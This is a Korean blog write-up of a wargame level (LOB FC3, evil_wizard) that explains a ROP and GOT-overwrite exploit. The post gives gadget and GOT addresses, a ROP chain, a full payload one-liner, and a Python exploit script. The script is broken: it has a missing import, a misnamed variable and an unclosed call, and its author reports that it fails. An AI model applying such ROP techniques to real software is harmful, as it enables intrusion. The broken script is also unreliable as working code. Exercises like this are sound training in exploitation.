level3 은 일단 스킵 해놓고 이거부터 하죠!
포션 2개를 보면 대놓고 ROP 하라는 것
고로 ROP 를 할것인데 힌트인 GOT Overwrite 를 생각해서 printf의 got 를 system 로 덮어서 하는걸로
필요한건
system , printf@plt, printf@got, strcpy@plt, PPR , /bin/sh정도가 필요합니다.
차례로 구해보면
printf@plt : 0x8048424
printf@got : 0x8049884
strcpy@plt : 0x8048494
system: 0x7507c0
/bin/sh : 0x833603
PPR : 0x804854f
이렇게 구하고 보니 printf@got 를 덮기 위해서 c0, 07, 75, NULL 도 알아야 하네요.
바로 구해봅시다.
objdump -d evil_wizard | grep [구하고싶은거] --color=auto
or
objdump -s evil_wizard | grep [구하고싶은거] --color=auto
로 구해보면
c0 : 0x804852c
07 : 0x8048154
75 : 0x8048513
NULL : 0x8048198
필요한건 다 구한거 같으니 계획을 세워보면
dummy[268] + strcpy@plt + ppr + printf@got + c0
+ strcpy@plt + ppr + printf@got+1 + 07
. . . .. . .
+ printf@plt + ABCD + /bin/sh
로 짜고 공격을 해보면
"`python -c 'print "A"*268 + "\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x84\x98\x04\x08"+"\x2c\x85\x04\x08"+
"\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x85\x98\x04\x08"+"\x54\x81\x04\x08"+
"\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x86\x98\x04\x08"+"\x13\x85\x04\x08"+ "\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x87\x98\x04\x08"+"\x98\x81\x04\x08"+
"\x24\x84\x04\x08"+"ABCD"+"\x03\x36\x83\x00"'`"
클리어
---------------------------------------------------------------------------------------------------------------------------------------------------------
#explot.py
import os
def inn(number):
return struct.pack('<I',number)
pwd = "/home/hell_fire/evil_wizard"
system = 0x007507c0
strcpy = 0x8048494
rrp = 0x804854f
print_plt = 0x8048424
print_got = 0x8049884
payload = "A"*268
payload += inn(strcpy)+inn(rrp)+inn(print_got)+inn(0x804852c) # c0
payload += inn(strcpy)+inn(rrp)+inn(print_got+1)+inn(0x8048154) # 07
payload += inn(strcpy)+inn(rrp)+inn(print_got+2)+inn(0x8048513) # 75
payload += inn(strcpy)+inn(rrp)+inn(print_got+3)+inn(0x8048198) # NULL
payload += inn(printf_plt)+"ABCD"+inn(0x833603) # /bin/sh
os.execv(pwd,(pwd,payload)처음에 이렇게 하려다 os.execv에서 이상하게 계속 에러 떠서,,, 혹시 해결법 아시는분 ?
'Pwnable > LOB' 카테고리의 다른 글
| 클리어 (0) | 2017.06.27 |
|---|---|
| [LOB FC3 - Level5] evil_wizard -> dark_stone (0) | 2017.06.23 |
| [Level13] darknight -> bugbear 다른풀이 (0) | 2017.05.19 |
| [Level1] gate -> iron_golem (0) | 2017.05.19 |
| [Level20] xavius -> death_knight (0) | 2017.05.18 |